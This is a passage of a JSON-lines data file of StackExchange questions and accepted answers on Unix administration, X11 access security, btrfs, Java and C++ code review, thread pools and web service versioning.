fooE: Invalid operation searchIf you want to know what wajig is doing behind the scenes, which tools it is using to implement a particular command, it has --simulate and --teaching modes.Two wajig commands that I often use are wajig listfiles foo and wajig whichpkg /usr/bin/foo."  } 
{  "id": "_unix.26225"  , "question": "This is a query based on personal use. A troll in our local network had downloaded Crikey, the key-event simulator. He used it to simulate events on other computers, leading to unwanted things. For example, a person was playing the popular FPS Urban Terror. The attacker used Crikey to change the player's nickname (/nick trollface). As best as we understand, the attacker ssh'd into our computers, and then switched X windows somehow, and mimicked our events. I was wondering whether someone knew how he switched X Windows and did this. "  , "title": "If you SSH into another computer, how to access other X displays?"  , "tags": "ssh;xorg;security;x11;gentoo"  , "accepted_answer": "This is not supposed to be possible; either you are running a vulnerable version of some software or you have misconfigured something.Under normal configurations, connecting to an X server requires a sort of password called X cookie. The cookie is randomly generated when the X server starts and stored in a file. Normally, only the user who started the X server can read this file, and so other users cannot obtain the cookie. For a detailed explanation of how to access an X display when the location of the cookie isn't immediately apparent, such as when accessing the display of a remote machine over an SSH connection, see Open a window on a remote X display (why Cannot open display)? See also Is there a way to communicate with someone at their desktop? and Can I launch a graphical program on another user's desktop as root? regarding accessing another user's X display.Note that Crikey is not at fault here. Crikey is not an attack program in any way. Essentially, Crikey writes to a file, and it's not Crikey's fault if that file does not have sufficiently restrictive permissions.Possible avenues of attacks include:X cookies stored in a file with insufficiently restricted permissions. Check the permissions of ~/.Xauthority or $XAUTHORITY; if this file is readable by anyone but the owner, something is misconfigured.X cookies transmitted in clear text over the network. Use SSH.X cookies available in clear text because they are stored on an NFS filesystem that anyone with physical access to the network can mount. Don't use NFS (at least not this way) if you don't trust all users with root access to a machine on the network.The targeted user ran xhost +. Don't do that."  } 
{  "id": "_unix.304287"  , "question": "So I have kinda just resigned to using nano for this, but I though I would put it out on Unix.Linux to A) Challenge somebody and B) learn how/if It can be done.I want to prepend a link to an rsa file (command=/sbin/shutdown -h now).Most of the things I found when google cat prepend to file make it so it would end up like this .command=/sbin/shutdown -h nowssh-rsa MyRSsAkEyasetcetcWhat I need is :command=/sbin/shutdown -h now ssh-rsa MySRasKeytsadnasdnasdAka all one line, prepend to first line."  , "title": "Cat prepend to first line, NOT new line"  , "tags": "text processing;command line"  , "accepted_answer": "This is a simple sed command:sed 's!^!command=/sbin/shutdown -h now !'If the public key is in a file then you can use the -i flag to edit the file in place:$ cat key.pub ssh-rsa MySRasKeytsadnasdnasd$ sed -i 's!^!command=/sbin/shutdown -h now !' key.pub$ cat key.pub command=/sbin/shutdown -h now ssh-rsa MySRasKeytsadnasdnasd"  } 
{  "id": "_unix.349304"  , "question": "Having trouble mounting a btrfs filesystem.  Originally created on a server running xbian.  Trying to mount on an up-to-date OpenSUSE 42.2 server.  Complains about unsupported feature 0x10, open_ctree failed.How can I mount this filesystem ?Mount attempt# file -s /dev/sdc2/dev/sdc2: BTRFS Filesystem (label xbian, sectorsize 4096, nodesize 16384, leafsize 16384)# mount -t btrfs /dev/sdc2 /mntmount: wrong fs type, bad option, bad superblock on /dev/sdc2,       missing codepage or helper program, or other error       In some cases useful info is found in syslog - try       dmesg | tail or so.#dmesg output[  119.698406] BTRFS info (device sdc2): disk space caching is enabled[  119.698409] BTRFS: couldn't mount because of unsupported optional features (10).[  119.744887] BTRFS: open_ctree failedbtrfs version# rpm -qa|grep btrfsbtrfsprogs-udev-rules-4.5.3-3.1.noarchbtrfsprogs-4.5.3-3.1.x86_64libbtrfs0-4.5.3-3.1.x86_64btrfsmaintenance-0.2-13.1.noarch#btrfs inspect-internalReports unknown flag.  This behaviour seen on stock btrfs version supplied with OpenSUSE (btrfs-progs v4.5.3+20160729) and with latest when downloaded from git and compiled (btrfs-progs v4.9.1)# btrfs inspect-internal dump-super /dev/sdc2superblock: bytenr=65536, device=/dev/sdc2---------------------------------------------------------csum                    0x394d4988 [match]bytenr                  65536flags                   0x1                        ( WRITTEN )magic                   _BHRfS_M [match]fsid                    71ecbcc5-c88f-4f27-b4d8-763bd801765elabel                   xbiangeneration              129root                    4669440sys_array_size          97chunk_root_generation   102root_level              0chunk_root              131072chunk_root_level        0log_root                0log_root_transid        0log_root_level          0total_bytes             7451181056bytes_used              691642368sectorsize              4096nodesize                16384leafsize                16384stripesize              4096root_dir                6num_devices             1compat_flags            0x0compat_ro_flags         0x0incompat_flags          0x179                        ( MIXED_BACKREF |                          COMPRESS_LZO |                          COMPRESS_LZOv2 |                          BIG_METADATA |                          EXTENDED_IREF |                          SKINNY_METADATA |                          unknown flag: 0x10 )csum_type               0csum_size               4cache_generation        129uuid_tree_generation    112dev_item.uuid           a8b49751-56e3-4c42-a1d3-40a1554c800cdev_item.fsid           71ecbcc5-c88f-4f27-b4d8-763bd801765e [match]dev_item.type           0dev_item.total_bytes    7451181056dev_item.bytes_used     926941184dev_item.io_align       4096dev_item.io_width       4096dev_item.sector_size    4096dev_item.devid          1dev_item.dev_group      0dev_item.seek_speed     0dev_item.bandwidth      0dev_item.generation     0#"  , "title": "Unable to mount btrfs filesystem open_ctree failed"  , "tags": "mount;btrfs"  , "accepted_answer": "The problem is indeed that the two Linux versions sport a slightly different BTRFS version, i.e. do not support the same features:[  119.698406] BTRFS info (device sdc2): disk space caching is enabled  [  119.698409] BTRFS: couldn't mount because of unsupported optional  features (10).It seems that the xbian has enabled that features, while OpenSuse 42.2 does not, which prevents interoperability.These FS features are optional: This means it is possible to create downward compatible BTRFS partitions on newer systems that are readable from older systems (without those features), controlled by the parameters that are passed to the mkfs.btrfs program.    The numeric code of the features is 10 - unknown flag: 0x10. I had a hard time to figure out what that codes means (my guess: extended inode references.) But since the number is so low, I think this is something basic. I think you cannot make this filesystem readable by unpatched kernels anymore. Otherwise, knowing the feature, we maybe could specify a mount option to avoid the error; like here, where the fs compression algorithm is specified:mount -t btrfs -o compress=lz4 dev /mntIf we do not know what this feature is you even cannot update your kernel in OpenSuse to match xbian. Usually in such a situation, you would rely on ext4 instead for compatibility reasons."  } 
{  "id": "_cogsci.3586"  , "question": "I'm looking for the name of the cognitive bias that is expressed in the following story.A fellow coworker was instrumental in getting a 75 gallon fish tank installed in the lobby of the company that we work at a couple of weeks ago. The water needs to cycle for a while before fish can be introduced. The other day he was testing the water when someone walked by and asked when we would be getting fish. He said probably a week or so. The person was appalled that it would take so long to get fish.The company had been without a fish tank for 20 years and now they've had one for a couple weeks and this person thought one or two more weeks was way too long to wait. What is the name of this bias?"  , "title": "Name of the bias where someone really needs something after they find out it exists"  , "tags": "cognitive psychology;motivation;well being;bias"  , "accepted_answer": "It's not a bias. It is natural human nature. At least the 2 year old's case is.It's just like how you would not have thought of going to Six Flags (An amusement park) unless it was mentioned to you. When the 2 year old hears ice cream, the kid thinks of the sweet taste, or the pleasure ice cream brings. In the kid's case, the case is impatience or inability to defer gratification. For the employee, it is simply that he thinks the cycling of the tank and fish delivery would take less longer than a week or two.The two examples are both different things. I am positive that the 2 year old's case is NOT a bias. The employee's case may simply be surprise. "  } 
{  "id": "_softwareengineering.108248"  , "question": "A meeting today went well where I explained that cloud computing which one of the persons recognized was something else than a traditional RDBMS and I said that cloud computing is that everthing is software. It didn't seem like Aha! when I said it so I wonder what I should say. I thought the main specifics of cloud computing are integrated services, no traditional RDBMS and resources are allocated as software and payment model is pay per usage instead of pay per hardware. And/or should I stress the concept of PaaS i.e. that it is a platform? Wikipedia says the distinction is between products and services but that we said about web services 15 years ago. Thanks in advance for you answers"  , "title": "How should I communicate the specifics of cloud computing (as compared to other)"  , "tags": "google app engine;cloud computing"  , "accepted_answer": "Although you can host your own cloud, for most businesses it means this:You pay another company to take care of some or all your data. Your data lives on their computers, where their employees take care of your data (in the sense of keeping it alive, not in the sense of keeping it up to date), privileged access to your data (at least some parts of privileged access), the software that manages your data, and the computers that run the software that manages your data. Their employees take care of upgrades to the software and to the computers. Depending on the contract, their employees might take care of disaster recovery, too. Now, if that all sounds too good to be true . . ."  } 
{  "id": "_codereview.112783"  , "question": "I wanted to try and use the Sieve of Eratosthenes to find all prime numbers between some arbitrary bounds 1 <= m <= n. The simple implementation of the sieve does not consider the lower bound at all, it always starts from 1 (or actually from 2). So for a big enough n, simply creating an array would be impossible.The algorithm first finds all prime numbers from 1 to sqrt(n), then uses those numbers to find all primes in the given range.I'd like to know if:I'm using more memory than necessaryI'm unnecessarily repeating some operationsI can improve the style of this codeNote: I am not validating user input for simplicity sake.import java.util.*;public class PrimeLister {    private static ArrayList<Integer> segmentSieve(int upperBound) {        boolean[] primes = new boolean[upperBound + 1];        Arrays.fill(primes, true);        ArrayList<Integer> numbers = new ArrayList<>();        for (int i = 2; i <= upperBound; i++) {            if (!primes[i])                continue;            for (int j = i * i; j <= upperBound; j += i) {                primes[j] = false;            }            if (primes[i])                numbers.add(i);        }        return numbers;    }    private static int findOffset(int start, int prime) {        for (int i = 0; i < prime; i++)            if (start++ % prime == 0)                return i;        return -1;    }    public static void listPrimes(int lowerBound, int upperBound) {        ArrayList<Integer> segmentPrimes = segmentSieve((int) Math.floor(Math.sqrt(upperBound)));        int[] offsets = new int[segmentPrimes.size()];        boolean[] primes = new boolean[1 + upperBound - lowerBound];        Arrays.fill(primes, true);        for (int i = 0; i < offsets.length; i++) {            int tmp = segmentPrimes.get(i);            offsets[i] = findOffset(lowerBound, tmp);            for (int j = offsets[i]; j < primes.length; j += tmp) {                if (!primes[j] || (j + lowerBound) == tmp)                    continue;                primes[j] = false;            }        }        for (int i = 0; i < primes.length; i++) {            if (primes[i] && (i + lowerBound) != 1)                System.out.println(i + lowerBound);        }        System.out.println();    }    public static void main(String[] args) {        Scanner in = new Scanner(System.in);        int lowerBound = in.nextInt();        int upperBound = in.nextInt();        listPrimes(lowerBound, upperBound);        in.close();    }}"  , "title": "Windowed Sieve of Eratosthenes in Java"  , "tags": "java;algorithm;primes;sieve of eratosthenes"  , "accepted_answer": "What makes your code difficult to read is nonsense (in the sense of 'carries no meaning') like int tmp, or stuff like the condition (j + lowerBound) == tmp. The superfluous parentheses are just noise but j + lowerBound does not make sense at all, as it corresponds to offsetting the current index j into the window by the window's lower bound. lowerBound + j would make sense, as it corresponds to the actual number represented by the jth slot of the window. The fact that operator + is commutative is beside the point; it's humans who must understand your code. And your code is so difficult to understand that you don't even understand it fully yourself! Trying to express code with the greatest possible clarity can be a great aid in understanding the problem under consideration; on the other hand, churning out code when the problem has not been understood achieves the opposite effect.The problem under consideration has no need of arrays containing offsets into the window. The algorithm just needs one offset during each iteration of the outer loop, just once. The computation of the offset would have warranted some 'hands-free' thinking time before the actual coding. The first location that needs to be worked on by the inner 'cross off the composites' loop is p * p, where p is the current prime; let's call this start. This value needs to be reduced to an offset within the window being worked on, which is trivial (start - lower_bound) if start >= lower_bound. If start < lower_bound then it's time to unsheath the modulo operator.// (p is the current prime)int stride = p << (p & 1);int start = p * p;int offset;if (start >= lower_bound){   offset = start - lower_bound;}else{   int before_the_segment = (lower_bound - start) % stride;   offset = before_the_segment == 0 ? 0 : stride - before_the_segment;}// ...An alternative expression for the tricky case would beoffset = (stride - (lower_bound - start) % stride) % stridebut it leaves no clue for the reader as to what's intended... This can be simplified further to drop one module operator, by careful consideration of the magnitudes involved. But it is easy to shoot oneself in the foot. If there's no pressing need for shaving cycles then it's better to leave the simpler - if more verbose - code in place.The original code uses the prime p itself as stride, which has the effect that all even composites get crossed off multiple times (first during the run with p = 2, and then again during all even steps during the runs with other primes). This means that the code does almost double the amount of work that's necessary. A simple fix is to use p + p as stride when p <> 2. In effect this amounts to using a two-spoke wheel and ignoring the even spoke entirely except for its one lone prime occupant (the number 2). Another solution - which halves memory consumption - would be to represent only the even numbers in the sieve array and to pull the only even prime out of thin air when needed. Higher-order wheels would further reduce memory consumption and the amount of work done, but they would complicate the code considerably. By contrast, the two-spoke wheel gives a lot of bang while adding only one minuscule complication to the code."  } 
{  "id": "_webapps.96209"  , "question": "I mistakenly created my album and set it to unlisted and now I'm unable to locate my album."  , "title": "Change my album from unlisted to public in Google+"  , "tags": "google plus;google plus photos"  } 
{  "id": "_unix.210747"  , "question": "I am currently using grep like this:grep search_string search_file > output_fileHere is an example:grep ich arbeite deu.txt > out.txtWhen used in this way, I only get the last 20 matches in out.txt. I think this is because the search_string contains a space and quotation marks, because when I try:grep arbeite deu.txt > out.txt...I get the expected result (all matches show up in out.txt) How can I get grep to return all matches when I search for a string containing spaces?EDIT: My input looked like this:...I wonder why.   Ich frage mich, warum.I work a lot.   Ich arbeite viel.I'll ask Tom.   Ich frage mal Tom....I wish Tom wouldn't keep bothering me with questions.   Ich wnschte, Tom wrde aufhren, mich mit Fragen zu nerven.I wonder if Tom realizes how many hours a day I work.   Ich frage mich, ob Tom klar ist, wie viele Stunden tglich ich arbeite...."  , "title": "How to get more than 20 lines of output with grep when searching for a string with spaces"  , "tags": "shell;grep;macintosh"  } 
{  "id": "_cs.35283"  , "question": "I got some problems with building a set, which should looks like this: $S = A\\times B \\subset N \\times N $, where $S$ is decidable but $A$ is undecidable. Could somebody give me a clue how to actually do this? "  , "title": "Decidable product with an undecidable projection"  , "tags": "computability"  , "accepted_answer": "Let $A$ be set of Turing machines that halt, which is clearly undecidable. Now $B$ needs to be something that helps you decide $A$ (a certificate if you will, in the sense of a certificate for a $NP$ problem). Hint: if a TM halts, it halts in a finite number of steps."  } 
{  "id": "_webmaster.29705"  , "question": "Possible Duplicate:How to provide Google reviews information? Check out this google places page as an example:http://maps.google.com/maps/place?hl=en&sugexp=erf1&pq=virginia+honda+&cp=17&gs_id=50&xhr=t&bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&ix=sea&biw=1600&bih=1109&um=1&ie=UTF-8&q=los+angeles+honda+dealers&fb=1&gl=ca&hq=honda+dealers&hnear=0x80c2c75ddc27da13:0xe22fdf6f254608f4,Los+Angeles,+CA,+USA&cid=17542835494479136794&ei=rnuxT_xqw4SDB4ynhakJ&sa=X&oi=local_result&ct=placepage-link&resnum=3&sqi=2&ved=0CL0BEOIJMAIAt the bottom you will seeReviews from around the web: citysearch.com (49) - insiderpages.com (18) - dealerrater.com (37)I'm working on a website that is a similar to these directories, people can come and review dealers.We've marked the reviews with rich snippets, the problem is sometimes they do show up on some google places pages and sometimes they do not.It seems completely random, google links to wrong pages, and also the count is not accurate.I was wondering if there is an official guide on how to do this properly or if this is less about technical aspects of doing this and more about business relationships with directories and google.Any help is appreciated."  , "title": "How do you feed reviews to Google places page for businesses?"  , "tags": "seo;google search;local seo;google local search"  } 
{  "id": "_cs.54006"  , "question": "I am working on a project which needs to traverse a 2d spatial grid, and would like to use a space-filling curve indexing scheme.  Unfortunately, I have no guarantee that the input grid will be a power of two along either dimension.  In fact, it may be just barely over a power of two in some cases.  Virtually extending the grid to be a power of two in size may use too much memory (it is a very large grid).  Is it still possible to use a space-filling curve, such as a Morton curve, to index this grid?"  , "title": "Is it possible to use a space-filling curve to index a 2D grid which is not $2^x$ by $2^y$?"  , "tags": "data structures"  } 
{  "id": "_softwareengineering.348278"  , "question": "Im coding a Hash-Life implementation in C++14 and working on a multi-threaded implementation. It has obvious potential for multi-threading. The task can be broken down into essentially 13 sub-tasks. 9 of the tasks are largely independent and the other 4 depend on 4 of the 9 but not each other. One one makes 9 (parallel) which come back together to make 4 (parallel).The process is actually recursive so those 13 will breakdown into 13 of their own down to a trivial tier which is just calculated by brute force. At each tier of recursion the tasks get smaller and it seems likely theres a point where multi-tasking loses its return and the algorithm should go sequential. But thats a detail. Just imagine multiple tiers of parallelism breaking down.This whole thing is just begging to be pushed through a worker thread pool.What Im inviting is ideas about smart ways of handling this. A basic thread pool wont do because theres a risk (in practice inevitability) of an interesting deadlock. If you chop a task into 13 tasks and then wait for them to complete (or twelve and do one in series or whatever) you will invite deadlock. Essentially you will end up with all the threads waiting on un-started tasks in the queue which will never be started because all the threads are waiting on un-started tasks in the queue that will . and so on. You roughly need more threads than tasks and while its possible to create threads willy-nilly it isnt an efficient model and compared to below results in excessive thread swapping.This seems to me to be potentially generic problem. A basic thread-pool model at best ends with n (task) producers and m consumers (workers) but this is a producing-consumer situation that seems like a natural way to parallelise recursion and isnt covered by that n to m case.My main idea is to avoid deadlock when a worker realises it needs a task completed to proceed and that task is un-started by taking the task back and complete it in series (deadlock avoided).Theres an attractive feature here that means rather than sleeping and allowing another thread to be swapped in threads will tend to just remain active and pull work in. There is even scope to estimate the biggest unstarted task and start that first thereby minimising the critical path and minimizing time by maximizing utilization. The downside is that theres an overhead of putting a task in a queue if it then gets pulled out and done in the thread that submitted it. There are ways of mitigating that.My problem is all the searching I can do wont come back with any analysis of this kind of problem.People endlessly want to rake over the separate Producer vs Consumer problem and I cant find how to cover this recursive model which seems so natural.Considering a 'consumers that are themselves producers' model I'm looking for:Resources (patterns, papers, blogs, code, etc.) covering this problem.Proposals, insights or thinking.Comments or ideas. That is particularly in consideration of avoiding the deadlock that 'naive' use of a 'basic' thread-pool invites.C++14 isnt important here except I have a decent threading library on hand.I have a toy solution solving the problem of summing numbers 1 - n by recursively dividing the range and adding the parts in C++ and am prepared to share but it's just a bit too long to put in this post."  , "title": "Producing Consumers Thread Pool"  , "tags": "design patterns;concurrency;parallelism"  , "accepted_answer": "You are looking at units of work run in parallel. Many programming environments have something like a Task in .net, which is a unit of work that is not tied to a specific thread. The abstraction you need to perform the work might be called a task. These are typically queued and run on worker threads by a subsystem (a library). There can be many more tasks than worker threads.The dependencies are the issue. Avoid parallelizing the higher level loops, or recursion, and only parallelize the leaf node work, where presumably you need enough CPU cycles to be worth running in parallel. The algorithm is then to do all your recursion, loops, etc, in one thread, and create a queue of tasks that have no other dependencies, and can be performed in parallel.If you are having trouble distinguishing between the work needed by the composite nodes and the leaf nodes, the design needs to be revisited. A unit of work (task) that can be run independently on a worker thread should use mutable state that is owned only by that task -- if you need to access shared mutable state, you may gain nothing by parallelization, since you must serialize access to the shared state. In other words, you should not access the producer consumer queues within your units of work."  } 
{  "id": "_softwareengineering.299635"  , "question": "I need a advice on creating an architecture where I want API layer in between UI layer and business layer. UI layer should only consume REST services for displaying data. Reason for doing this is that we need to expose same service for others clients like iPad, Android etc.Now my questions are:Do we need dependency injection in this case? (I don't think so because we are not going to use any reference at UI layer. The only thing is, we are manipulating the JSON returned by service.)Will it hurt performance?Is this the right approach?"  , "title": "RESTful service layer with MVC"  , "tags": "architecture;rest;services;portability"  , "accepted_answer": "Do we need dependency injection in this case?It depends on what you try to accomplish. Dependency injection is needed in order to easily replace the underlying implementation. Common examples are:To replace actual implementation by stubs/mocks in a context of unit testing.To easily swap between several data access layers (for instance to deal with several database systems).In your case, you would probably want to test your presentation layer without having to do the actual calls to the API, in which case DI would be useful.Will it hurt performance?Any additional abstraction or layer hurts performance.What you should ask yourself is:Do you actually have performance issues?If yes, what profiling reveals about the source of the slowness?Don't guess. Measure.Is this the right approach?Having a common API which is then used at once by desktop applications, mobile applications and web applications is a common practice and makes it possible to reduce code duplication and simplify the porting of a system to the different types of devices."  } 
{  "id": "_codereview.157456"  , "question": "Specification:Given first, last (which are ForwardIterators, and whose std::iterator_trais::value_type is LessThanComparable), find the most frequent element in the sequence and return pair of iterator to the last occurrence of the element and frequency count. When using overload with comparator (which is Compare), the restriction on value type of iterators is lifted.Usage guidelines:Should be used when the elements in the sequence are non copyable or too expensive to copy. Should be avoided when entropy of the sequence is very high, most of the values in the sequence are distinct, size of value type of iterators is within range of a few integers and the sequence is very large.Code:#ifndef AREA51_ALGORITHM_HPP#define AREA51_ALGORITHM_HPP#include <utility>#include <map>#include <iterator>#include <cstddef>template <typename ForwardIterator, typename Comparator>std::pair<ForwardIterator, std::size_t> most_frequent(ForwardIterator first,                                                      ForwardIterator last, Comparator comparator){    auto comp = [&comparator](const auto& lhs, const auto& rhs)    {        return comparator(lhs.get(), rhs.get());    };    std::map<std::reference_wrapper<typename std::iterator_traits<ForwardIterator>::value_type>,            std::size_t, decltype(comp)> counts(comp);    std::size_t frequency = 0;    auto most_freq = first;    while (first != last)    {        std::size_t current = ++counts[*first];        if (current > frequency)        {            frequency = current;            most_freq = first;        }        ++first;    }    return std::make_pair(most_freq, frequency);}template <typename ForwardIterator>std::pair<ForwardIterator, std::size_t> most_frequent(ForwardIterator first, ForwardIterator last){    return most_frequent(first, last, std::less<>{});}#endif //AREA51_ALGORITHM_HPPIt took roughly 3 milliseconds to find the most frequent integer in sequence of 100'000 integers that varies from 0 to 100 (release build, still faster than human reaction). The benchmark was very simplistic, so in the real world scenario performance can be different. Some further twisting of input (still simple tests) showed that range of the input (e.g. how many distinct elements are in the sequence) gives algorithmic performance degradation.  Usage:#include <iostream>#include <string>struct integer{    int x;    integer(int y):            x(y)    {}    integer(const integer& other) = delete; //non copyable    integer& operator=(const integer& other) = delete;};bool operator<(const integer& lhs, const integer& rhs){    return lhs.x < rhs.x;}std::ostream& operator<<(std::ostream& os, const integer& x){    return os << x.x;}int main(){    int arr[] = {1, 2, 3, 4 , 5, 1};    std::string names[] = {Olzhas, Erasyl, Aigerym, Akbota, Akbota, Erasyl, Olzhas, Olzhas};    auto answer = most_frequent(std::begin(arr), std::end(arr));    std::cout << The most frequent integer is  <<              *answer.first <<  which occured  <<              answer.second <<  times\\n;    auto most_frequent_name = most_frequent(std::begin(names), std::end(names));    std::cout << The most frequent name is  <<              *most_frequent_name.first <<  which occured  <<              most_frequent_name.second <<  times\\n;    integer weird_integers[] = {0, 1, 2, 3, 4, 5, 6, 1};    auto most_frequent_integer = most_frequent(std::begin(weird_integers), std::end(weird_integers));    std::cout << The most frequent weird integer is  <<              *most_frequent_integer.first <<  which occured  <<              most_frequent_integer.second <<  times\\n;}The code executes in time faster than human reaction, so I think for the first version this should be enough.I'm interested in naming (I believe most_frequent doesn't really match the algorithm), readability and conformance to specification (from the transform_iterator, I found that it is quite hard to conform it, though it works for my needs). I also thought about std::unordered_map, but then I would specify too many input variables and types.By the way, the names are kazakh names :)"  , "title": "Find the most frequent element in a sequence without copying elements"  , "tags": "c++;algorithm;template;c++14"  , "accepted_answer": "Does not compile unless I add the move operators to integer.struct integer{    int x;    integer(int y):             x(y)    {}      integer(const integer& other) = delete; //non copyable    integer& operator=(const integer& other) = delete;    // Added these    integer(integer&&) = default;    integer& operator=(integer&&) = default;};You don't need that lamda in the your main function. You just did not specify your comparison operator correctly.return most_frequent(first, last, std::less<>{});// Should bereturn most_frequent(first, last, std::less<typename std::iterator_traits<ForwardIterator>::value_type>{});Then you can remove:auto comp = [&comparator](const auto& lhs, const auto& rhs){    return comparator(lhs.get(), rhs.get());};and just use Comparator where you use compThere is no need to have two versions of the function most_frequent just use default parameter values.// This is not needed// You can remove it.template <typename ForwardIterator>std::pair<ForwardIterator, std::size_t> most_frequent(ForwardIterator first, ForwardIterator last){    return most_frequent(first, last, std::less<>{});}Modify the declaration of the main function:template <typename ForwardIterator, typename Comparator = std::less<typename std::iterator_traits<ForwardIterator>::value_type>>                                                   //   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^std::pair<ForwardIterator, std::size_t> most_frequent(                                            ForwardIterator first,                                            ForwardIterator last,                                            Comparator comparator = Comparator())                                                  //                ^^^^^^^^^^^^The code executes in time faster than human reaction, so I think for the first version this should be enough.I would hope so.Your tests sets are relatively small. Haw long does it take to scan the whole library of congress would be a better test.Final Version:template <typename ForwardIterator, typename Comparator = std::less<typename std::iterator_traits<ForwardIterator>::value_type>>std::pair<ForwardIterator, std::size_t> most_frequent(ForwardIterator first,                                                      ForwardIterator last, Comparator comparator = Comparator()){       std::map<std::reference_wrapper<typename std::iterator_traits<ForwardIterator>::value_type>,            std::size_t, Comparator> counts(comparator);    std::size_t frequency = 0;    auto most_freq = first;    while (first != last)    {           std::size_t current = ++counts[*first];        if (current > frequency)        {               frequency = current;            most_freq = first;        }        ++first;    }    return std::make_pair(most_freq, frequency);}"  } 
{  "id": "_unix.188414"  , "question": "I installed GNOME Desktop Environment on Centos 6 on my VPS, then I installed Firefox, Flashplayer and VLC. Everything work well but I can't hear the sound. I searched for a solution on the Internet but couldn't find.Here are 3 screenshots for the system, the sound output and the sound card after running 'alsamixer' from the terminal."  , "title": "Sound doesn't work on a Centos 6.5 VPS"  , "tags": "audio"  } 
{  "id": "_softwareengineering.306180"  , "question": "What's a good approach to exposing web services of different versions on the same URL? I don't want to have different URLs for different versions so I can change which version consumers are using from the server side. If version is in the URL, it's not optional and I can't provide a sensible default.Offhand I can think of:Putting a version parameter in the query stringPutting a version parameter in the post bodyAre either of these good choices, or is there a different approach I should be taking?Let me also add another question. How would a framework/program execute different versions if they reside in different JAR or EAR versions of the code?"  , "title": "Approach to Web Services Exposure By Version"  , "tags": "web services;versioning"  , "accepted_answer": "It's not an altogether uncommon practice to use headers for version specification on web services these days. Query string is also one I've seen used; both of these rely on the concept of a sensible default which is typically the latest version when the header or query string are not provided.Another approach can be to have versions tied to consumers so if you require some authentication token on all requests, along with using it to identify who the consumer is, it can be used to identify what version of the API they have selected to use. This approach has good and bad sides to it as depending on how consumers use it, they may wish to use multiple versions at the same time (perhaps one call they want to use a later service version, while all the other calls they're still on an older one).I would strongly discourage using a parameter in the post body because this would require you to make every single request a post, which is bad form for REST. If you're using SOAP however, then actually the SOAP headers would be the perfect place to put this as you can't rely on HTTP headers since SOAP can be transmitted via non-HTTPtransports (e-mail, TCP, MQ, etc).tl;drIf it's REST, use HTTP headers or query string; whichever's easier for you. For SOAP use the SOAP headers. If none of these are viable choices, I'd say you'll have to fall back on the classic of using different URLs for different versions."  } 
{  "id": "_scicomp.26619"  , "question": "I have a binary full-rank matrix of size, say, $25 \\times 50$. I need to count how many subsets of its columns form matrices with a full column rank, i.e. all the columns in the subset are linearly independent.Straightforward approach would be to iterate over all subsets of columns of size up to $25$, and then check corresponding submatrix if it has full column rank. This way one needs to test$$\\binom{50}{1} + \\binom{50}{2} + \\dotsb + \\binom{50}{25} = 626\\,155\\,256\\,640\\,187 \\approx 6.3 \\times 10^{14}$$matrices. Hence one needs a really fast algorithm to test if a particular submatrix has a full column rank.For example, assume I have 500 cores and I want to calculate the subject in 24h. Then I need to test $1.4 \\times 10^7$ submatrices per second on one core. Old good Gaussian elimination fails with this task. Can I do something much faster than it?Another approach might be some optimised method like branch and bounds, so that one does not need to check all the submatrices - but only a small portion of them. However, I don't see at the moment what can be done in this direction.P.S. All operations are over Galois field $\\mathbb F_2$."  , "title": "Fast counting of all submatrices of a binary matrix with a full column rank"  , "tags": "linear algebra;matrices;linear solver;rank"  } 
{  "id": "_unix.158601"  , "question": "I'm trying to check how much memory strain a process is actually putting on the system, but ps, top and friends are almost useless for that purpose as they only report 3 statistics:RES - the resident memory set includes only data pages that in physical memory (not including swapped out pages) but also includes loaded shared libraries.VIRT - includes all pages mapped to the memory by the kernel, including swapped out pages but also memory mapped files, shared libraries, etc.SHR - possibly the most useless of all, includes just the memory used by libraries that can be shared, but as I understand it, it does not actually account for memory used by the process but counts the entire size of the library even if only part of it is actually resident.In multi-process computing software, I want to know how much memory will be used/freed by running or killing another process with a similar or identical shared memory/libraries as existing ones, which means I need to know how large is the data set used by the process - including all swapped out data pages but excluding all non-data pages, such as shared libraries, shared memory pages, memory mapped files, etc.I'm not afraid of some coding but it will be better if there's already a top replacement I'm not aware of that shows that information."  , "title": "How to get a procesess's actual memory usage (including data in swap)"  , "tags": "linux;process;memory"  } 
{  "id": "_codereview.156890"  , "question": "I wrote a program in c what looks for integer solutions of different formulas. The program asks the user for a dimension which defines the formula. For example, the formula of the third dimension has three variables, the formula of the second dimension has two variables. The formulas look similar to the following:dim     formula2       a + b3       a + b + c4       a + b + c + dand so on. Next step, the program asks the user for a maximum value of all the variables. For a given dimension, 3 for instance, the code could look like:for(int a = 1; a <= max; a++){    for(int b = 1; b <= max; b++)    {        for(int c = 1; c <= max; c++)        {            do_sth();        }    }}Of course, this would be a bad algorithm. It checks each possible combination up to 6 times, just in different order. The better alternative would be:for(int a = 1; a <= max; a++){    for(int b = 1; b <= a; b++)    {        for(int c = 1; c <= b; c++)        {            do_sth();        }    }}To make that work for all dimensions, I had to find a way to stack multiple loops depending on the users input. I wrote a recursive loop function:int number[100];int dim, max;void loop(int depth){    for(number[depth] = 1; number[depth] <= number[depth-1]; number[depth]++)    {        if(depth == dim - 1)        {            do_sth();        }        else        {            loop(depth+1);        }    }}int main(void){    printf(Enter a dimension: );    scanf(%d, &dim);    printf(Enter a maximum value: );    scanf(%d, &max);    for(number[0] = 1; number[0] <= max; number[0]++)    {        loop(1);    }}Notes:It is not important, what do_sth() does. It builds the actual formula I don't want to show here.To be able to calculate the runtime, I wrote a program what calculates the number of combinations to try. I posted it on this question.My code works fine but I would like to know if there's a better way to do this."  , "title": "trying out possible combinations of varying formula with recursion"  , "tags": "performance;algorithm;c;recursion"  , "accepted_answer": "Can be done without recursionYou can do the same thing without recursion, by simply adding one to the rightmost dimension, and then carrying over when that number exceeds the one to its left.Here is a sample implementation:void loop(){    int i = 0;    for (i = 0; i < dim; i++) {        number[i] = 1;    }    do {        do_sth();        for (i = dim - 1; i > 0; i--) {            if (number[i] < number[i-1]) {                number[i]++;                break;            }            number[i] = 1;        }        if (i == 0) {            if (number[0] < max) {                number[i]++;            } else {                return;            }        }    } while (1);}"  } 
{  "id": "_webmaster.45605"  , "question": "Of the various people and organizations that have engaged in scraping activity, Automattic is one of the strangest. They have numerous independent IP ranges, as if they know they will be blocked so they want to make it hard. But who are they? Why are they scraping my site?Update By scraping I mean excessive unwarranted visits to my non-WordPress site. Like visiting the same page 10 times in under a minute. Or visiting every day. I've had to ban their many IP ranges, which are ranges located in many geographical regions."  , "title": "Who is Automattic and why are they visiting my non-Wordpress site so often?"  , "tags": "scraper sites"  } 
